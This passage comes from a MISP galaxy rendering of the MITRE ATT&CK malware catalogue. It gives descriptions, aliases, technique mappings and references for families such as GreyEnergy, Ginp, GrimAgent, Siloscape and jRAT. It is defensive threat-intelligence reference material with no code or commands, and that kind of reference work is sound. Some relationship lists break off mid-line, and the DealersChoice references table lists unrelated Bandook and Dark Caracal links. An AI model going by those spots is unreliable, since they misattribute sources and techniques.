- uses: **misp-galaxy:mitre-attack-pattern=Audio Capture - T1123** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Malicious File - T1204.002** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Symmetric Cryptography - T1573.001** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Spearphishing Attachment - T1566.001** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Peripheral Device Discovery - T1120** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=System Information Discovery - T1082** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Native API - T1106** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Data from Local System - T1005** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Deobfuscate/Decode Files or Information - T1140** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Video Capture - T1125** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=System Network Configuration Discovery - T1016** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern=Command and Scripting Interpreter - T1059** with estimative-language:likelihood-probability="almost-certain"
[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)

The tag is: *misp-galaxy:mitre-malware="DealersChoice - S0243"*

DealersChoice - S0243 is also known as:

- DealersChoice

**Table 6962. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0234">https://attack.mitre.org/software/S0234</a></td>
</tr>
<tr>
<td><a href="https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf">https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/bandook-signed-delivered/">https://research.checkpoint.com/2020/bandook-signed-delivered/</a></td>
</tr>
</tbody>
</table>
DealersChoice - S0243 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 6963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0243">https://attack.mitre.org/software/S0243</a></td>
</tr>
</tbody>
</table>

SpyDealer - S0324

[SpyDealer](https://attack.mitre.org/software/S0324) is Android malware that exfiltrates sensitive data from Android devices. (Citation: PaloAlto-SpyDealer)

The tag is: misp-galaxy:mitre-malware="SpyDealer - S0324"

SpyDealer - S0324 is also known as:

- SpyDealer

View relationships graph

SpyDealer - S0324 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
GreyEnergy - S0342

[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it. (Citation: ESET GreyEnergy Oct 2018)

The tag is: `misp-galaxy:mitre-malware="GreyEnergy - S0342"`

GreyEnergy - S0342 is also known as:

- GreyEnergy

View relationships graph

GreyEnergy - S0342 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6965. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0342">https://attack.mitre.org/software/S0342</a></td>
</tr>
</tbody>
</table>

**Ginp - S0423**

[Ginp](https://attack.mitre.org/software/S0423) is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from [Anubis](https://attack.mitre.org/software/S0422).(Citation: ThreatFabric Ginp)

The tag is: *misp-galaxy:mitre-malware="Ginp - S0423"*
Ginp - S0423 is also known as:

• Ginp

View relationships graph

Ginp - S0423 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6966. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0423">https://attack.mitre.org/software/S0423</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html">https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html</a></td>
</tr>
</tbody>
</table>

CrossRAT - S0235

[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.

The tag is: misp-galaxy:mitre-malware="CrossRAT - S0235"
CrossRAT - S0235 is also known as:

- CrossRAT

View relationships graph

CrossRAT - S0235 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

Table 6967. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0235">https://attack.mitre.org/software/S0235</a></td>
</tr>
<tr>
<td><a href="https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf">https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf</a></td>
</tr>
</tbody>
</table>

RunningRAT - S0253

[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)

The tag is: misp-galaxy:mitre-malware="RunningRAT - S0253"

RunningRAT - S0253 is also known as:

- RunningRAT

View relationships graph

RunningRAT - S0253 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

**Table 6968. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0253">https://attack.mitre.org/software/S0253</a></td>
</tr>
</tbody>
</table>

**Judy - S0325**

[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)

The tag is: **misp-galaxy:mitre-malware="Judy - S0325"**

**View relationships graph**

Judy - S0325 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

**Table 6969. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0325">https://attack.mitre.org/software/S0325</a></td>
</tr>
<tr>
<td><a href="https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/">https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/</a></td>
</tr>
</tbody>
</table>
Lucifer - S0532

[Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)

The tag is: `misp-galaxy:mitre-malware="Lucifer - S0532"`

Lucifer - S0532 is also known as:

- Lucifer

View relationships graph

Lucifer - S0532 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
Table 6970. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0532">https://attack.mitre.org/software/S0532</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/">https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/</a></td>
</tr>
</tbody>
</table>

**TYPEFRAME - S0263**

[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)

The tag is: `misp-galaxy:mitre-malware="TYPEFRAME - S0263"`

TYPEFRAME - S0263 is also known as:

- **TYPEFRAME**

View relationships graph

TYPEFRAME - S0263 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"` with estimative-
Table 6971. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0263">https://attack.mitre.org/software/S0263</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-165A">https://www.us-cert.gov/ncas/analysis-reports/AR18-165A</a></td>
</tr>
</tbody>
</table>

**GrimAgent - S0632**

[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)

The tag is: `misp-galaxy:mitre-malware="GrimAgent - S0632"`
GrimAgent - S0632 is also known as:

- GrimAgent

View relationships graph

GrimAgent - S0632 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 6972. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0632">https://attack.mitre.org/software/S0632</a></td>
</tr>
<tr>
<td><a href="https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer">https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer</a></td>
</tr>
</tbody>
</table>

**RedDrop - S0326**

[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)

The tag is: *misp-galaxy:mitre-malware="RedDrop - S0326"*

RedDrop - S0326 is also known as:

• RedDrop

View relationships graph

RedDrop - S0326 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-
Kwampirs - S0236

[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)

The tag is: *misp-galaxy:mitre-malware=*Kwampirs - S0236*

Kwampirs - S0236 is also known as:

- Kwampirs

View relationships graph

Kwampirs - S0236 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6974. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0236">https://attack.mitre.org/software/S0236</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia">https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia</a></td>
</tr>
</tbody>
</table>

Siloscape - S0623

[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021. (Citation: Unit 42 Siloscape Jun 2021)
The tag is: `misp-galaxy:mitre-malware="Siloscape - S0623"`

Siloscape - S0623 is also known as:

- Siloscape

_view relationships graph_

Siloscape - S0623 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Escape to Host - T1611"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

*Table 6975. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0623">https://attack.mitre.org/software/S0623</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/siloscape/">https://unit42.paloaltonetworks.com/siloscape/</a></td>
</tr>
</tbody>
</table>
GravityRAT - S0237

(GravityRAT) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)

The tag is: misp-galaxy:mitre-malware="GravityRAT - S0237"

GravityRAT - S0237 is also known as:

- GravityRAT

View relationships graph

GravityRAT - S0237 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0237">https://attack.mitre.org/software/S0237</a></td>
</tr>
</tbody>
</table>

**LockerGoga - S0372**

[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)

The tag is: *misp-galaxy:mitre-malware="LockerGoga - S0372"*

LockerGoga - S0372 is also known as:

• LockerGoga

View relationships graph

LockerGoga - S0372 has relationships with:


• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

**Table 6977. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0372">https://attack.mitre.org/software/S0372</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/">https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/</a></td>
</tr>
</tbody>
</table>

**Socksbot - S0273**

[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="Socksbot - S0273"*

Socksbot - S0273 is also known as:

- Socksbot

**View relationships graph**

Socksbot - S0273 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

**Table 6978. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0273">https://attack.mitre.org/software/S0273</a></td>
</tr>
</tbody>
</table>
Skygofree - S0327

[Skygofree](https://attack.mitre.org/software/S0327) is Android spyware that is believed to have been developed in 2014 and used through at least 2017. (Citation: Kaspersky-Skygofree)

The tag is: `misp-galaxy:mitre-malware="Skygofree - S0327"`

Skygofree - S0327 is also known as:

- Skygofree

View relationships graph

Skygofree - S0327 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644"` with estimative-language:likelihood-probability="almost-certain"

Table 6979. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0327">https://attack.mitre.org/software/S0327</a></td>
</tr>
</tbody>
</table>

jRAT - S0283

[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)

The tag is: `misp-galaxy:mitre-malware="jRAT - S0283"`
jRAT - S0283 is also known as:

- jRAT
- JSocket
- AlienSpy
- Frutas
- Sockrat
- Unrecom
- jFrutas
- Adwind
- jBiFrost
- Trojan.Maljava

View relationships graph

jRAT - S0283 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6980. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0283">https://attack.mitre.org/software/S0283</a></td>
</tr>
</tbody>
</table>
ServHelper - S0382

ServHelper (https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file. (Citation: Proofpoint TA505 Jan 2019)

The tag is: misp-galaxy:mitre-malware="ServHelper - S0382"

ServHelper - S0382 is also known as:

• ServHelper

View relationships graph

ServHelper - S0382 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

